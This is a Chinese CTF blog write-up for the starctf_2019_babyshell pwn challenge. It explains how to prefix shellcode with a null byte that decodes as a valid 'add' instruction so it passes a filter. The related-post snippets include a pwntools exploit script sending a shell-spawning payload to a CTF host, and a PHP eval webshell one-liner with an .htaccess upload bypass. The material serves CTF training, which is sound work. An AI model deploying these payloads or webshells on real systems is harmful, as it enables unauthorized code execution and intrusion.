buuoj刷题记录 - starctf_2019_babyshell

最新推荐文章于 2024-08-24 22:16:54 发布
最新推荐文章于 2024-08-24 22:16:54 发布
阅读量177 收藏
点赞数
分类专栏： pwn入门 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34010404/article/details/123875474
版权
"本文介绍了如何在shellcode中使用x00字节作为有效指令的一部分，以避免程序崩溃。通过查找Intel开发手册，确定了'add'指令的opcode为00，并填充操作数来确保不影响后续shellcode解析。最终，这个方法成功用于获取shell。"
摘要由CSDN通过智能技术生成

输入shellcode ，然后检查shellcode
在这里插入图片描述
在这里插入图片描述
只要shellcode第一个字节是0就可以了，但是必须是有效的指令，否则无法识别会导致程序崩掉。

先填一个\x00看一下，对应的opcode 是add
在这里插入图片描述
后面的shellcode已经无法识别了.
看一下intel开发手册,找到add指令
在这里插入图片描述
可以看到对应的opcode是00，把后面的操作数补全(随便找个可以写的地址就行)就不会影响后面shellcode的解析了.
在这里插入图片描述
然后就可以getshell啦
在这里插入图片描述
Volume_2_325383_NoRestriction.pdf (提取码:ccc7)

Suspend.
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
Intel手册完整版三册全
09-09
Intel手册完整版三册全底层人员必备
buuoj刷题记录 - roarctf_2019_easy_pwn
qq_34010404的博客
03-17 206
检查一下保护: 拖进IDA分析程序: 问题处在write函数中, 最后可以溢出一个字节. 思路:溢出一个字节覆盖下一个chunk的prev in use标记位.然后向前合并，构造重叠chunk。 下面是我的构造方法: create三个这样的chunk free掉0 ,然后利用chunk1 覆盖掉chunk2的prev in use 标记位.同时在chunk1内布置好prev size.(glibc-2.23不会通过prev size 找到chunk ,然后比较前一个chunk的size，所以
325462-sdm-vol-1-2abcd-3abcd_intel处理器开发手册_44200_volume_
09-30
本文档包含Intel 64和IA-32架构软件开发者手册的全部四卷。基本架构，卷号 253665；指令集参考 A-Z，卷号 325383；系统编程指南，卷号号 325384；特定型号寄存器，卷号号 335592。在评估您的设计需求时，请参考所有这四卷书。
BUUCTF(pwn)starctf_2019_babyshell
半岛铁盒的博客
04-06 367
这里要求我们需要输入一个SHellcode 然后进入 一个 if 比较; 只需要通过\x00绕过检查， 同时执行我们输入的shellcode \x00B后面加上一个字符， 对应一个汇编语句。 所以我们可以通过\x00B\x22、\x00B\x00等等来绕过那个检查 from pwn import * context.arch = "amd64" p = remote("node3.buuoj.cn",27993) payload = '\x00B3' + asm(shellcraft.sh()) p...
starctf_2019_babyshell
qq_62887641的博客
08-24 108
我们需要组成一个汇编指令，一来是绕过检测，二来是不妨碍shellcode。buf设置了可执行，所以往里面写shellcode就可以直接执行。当a1=0直接绕过这个，所以我们的在shellcode前面需要。可改got，没有canary，不可执行栈，没开pie。会妨碍shellcode的执行。介绍一个pwntools命令（
CTF编写
02-15
cce-babyshell，simple_cmdshell，simple_pwn，simple_rop，simple_uaf，tpu dreamhack-检查标志 hacklu-sparc 卡夫-shadowstack kapo-cnc，ezbof pctf-emojidb，ipppc，mojo seccon-加密器，kstack，kvdb ...
jquery实现的二级导航条
11-06
【jQuery实现的二级导航条详解】 在Web开发中，导航条是页面布局的重要组成部分，它帮助用户快速定位和访问网站的不同区域。本项目利用jQuery库实现了具有二级菜单功能的导航条，结合CSS进行美化和增强浏览器兼容性...
Volume 3 (3A, 3B, 3C & 3D) Intel® 64 and IA-32 Architectures Software Developer
01-13
The Intel 64 and IA-32 Architectures Software Developer's Manual consists of four volumes: Basic Architecture, Order Number 253665; Instruction Set Reference A-Z, Order Number 325383; System Programming Guide, Order Number 325384; Model-Specific Registers, Order Number 335592. Refer to all four volumes when evaluating your design needs.
PWN-shellcode-WP- (一)题目文件.rar
03-29
为几道搜集的真题，https://blog.csdn.net/qq_43390703/article/details/105181147中有对他们的详细解答，是学习pwn入门的很好练手和熟悉知识点以及pwn技巧的真题。
BUUCTF之“starctf_2019_babyshell”
Probeginner的博客
12-21 378
shellcode的强化
[BUUCTF]PWN——starctf_2019_babyshell(有限制的shellcode)
mcmuyanga的博客
03-23 890
starctf_2019_babyshell 例行检查，64位程序，开启了nx main函数，往buf里写入shellcode，然后程序会执行shellcod sub_400786（），这个函数会对我们输入的shellcode进行检查 检查的时候*i即可退出，可以使用\x00来绕过。 ...
BUUCTF pwn [HarekazeCTF2019]baby_rop
菜的只能随便写写博客
02-13 2588
0x01 文件分析   0x02 运行  一组回显   0x03 IDA  程序之中存在system函数，通过搜索字符串，还能得到’/bin/sh’字符串，一个简单的rop。   0x04 思路  简单rop，利用万能的gadget，pop rdi ret传入字符串并调用system，得到shell。此题flag的位置在/home/babyrop内，可以通过find -name flag...
BUUCTF刷题7
m0_51251108的博客
11-09 349
题目：护网杯_2018_gettingstart：（浮点数内存表示）starctf_2019_babyshell：（有限制的shellcode）picoctf_2018_buffer overflow 0：[BSidesCF 2019]Runit：（shellcode）wdb_2018_3rd_soEasy：(栈迁移)suctf_2018_stack：（栈平衡） 护网杯_2018_gettingstart：（浮点数内存表示） 参考师傅：护网杯_2018_gettingstart（浮点数内存表示） · 语雀
*CTF 2019 quicksort、babyshell、upxofcpp
weixin_30341735的博客
04-29 177
这次参加比赛总共出了三道，有两道队友都先交了，还是tcl，heap_master卡了差不多一天没解决。。。。还是记录一下出的题目吧 quicksort 题目大体流程就是输入要输入的数字数量，然后输入数字，经过一个快速排序输出，然后结束。 漏洞： gets函数这里存在栈溢出，可以覆盖i,j,ptr,num。 利用思路： libc泄露：可以修改ptr指向gets_got，并将i和n...
[GXYCTF2019]BabyUpload
夜幕下的灯火阑珊的博客
05-13 3356
png文件不许上传，尝试上传jpg 修改后缀名为.htaccess，文件内容为 SetHandler application/x-httpd-php 上传一句话木马 <?php eval($_POST[cmd]);?> 失败，换一种方式 <script language='php'>eval($_POST[cmd]);</script> ...
N1CTF2019——babypwn WP
qq_41252520的博客
10-13 577
保护 我的测试环境为ubuntu16.04.1 分析 添加操作中限制只能添加10个结构体： 结构体为： struct Staff{ char Name[0x10]; char *Description; int Description_Size; }; 漏洞存在删除操作中： 总的二进制程序逆向分析到这，下面来考虑怎么利用。 利用 这道题和warmup那道题有点相似，但...
第135天：内网安全-横向移动&非约束委派&约束委派&数据库攻防
最新发布
weixin_71529930的博客
08-24 305
非约束委派存在不安全性，所以微软在Windows server 2003中引入了约束委派，约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派，则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1，然后使用S4u2Proxy以administrator身份访问域控的CIFS服务，即相当于控制了域控。攻击者拿到了一台配置非约束委派的机器权限，可以诱导域管来访问该机器，然后得到管。利用该身份就可以访问域控，记得用主机名去访问。（域控）访问具有非约束委派权限的机器。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suspend.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值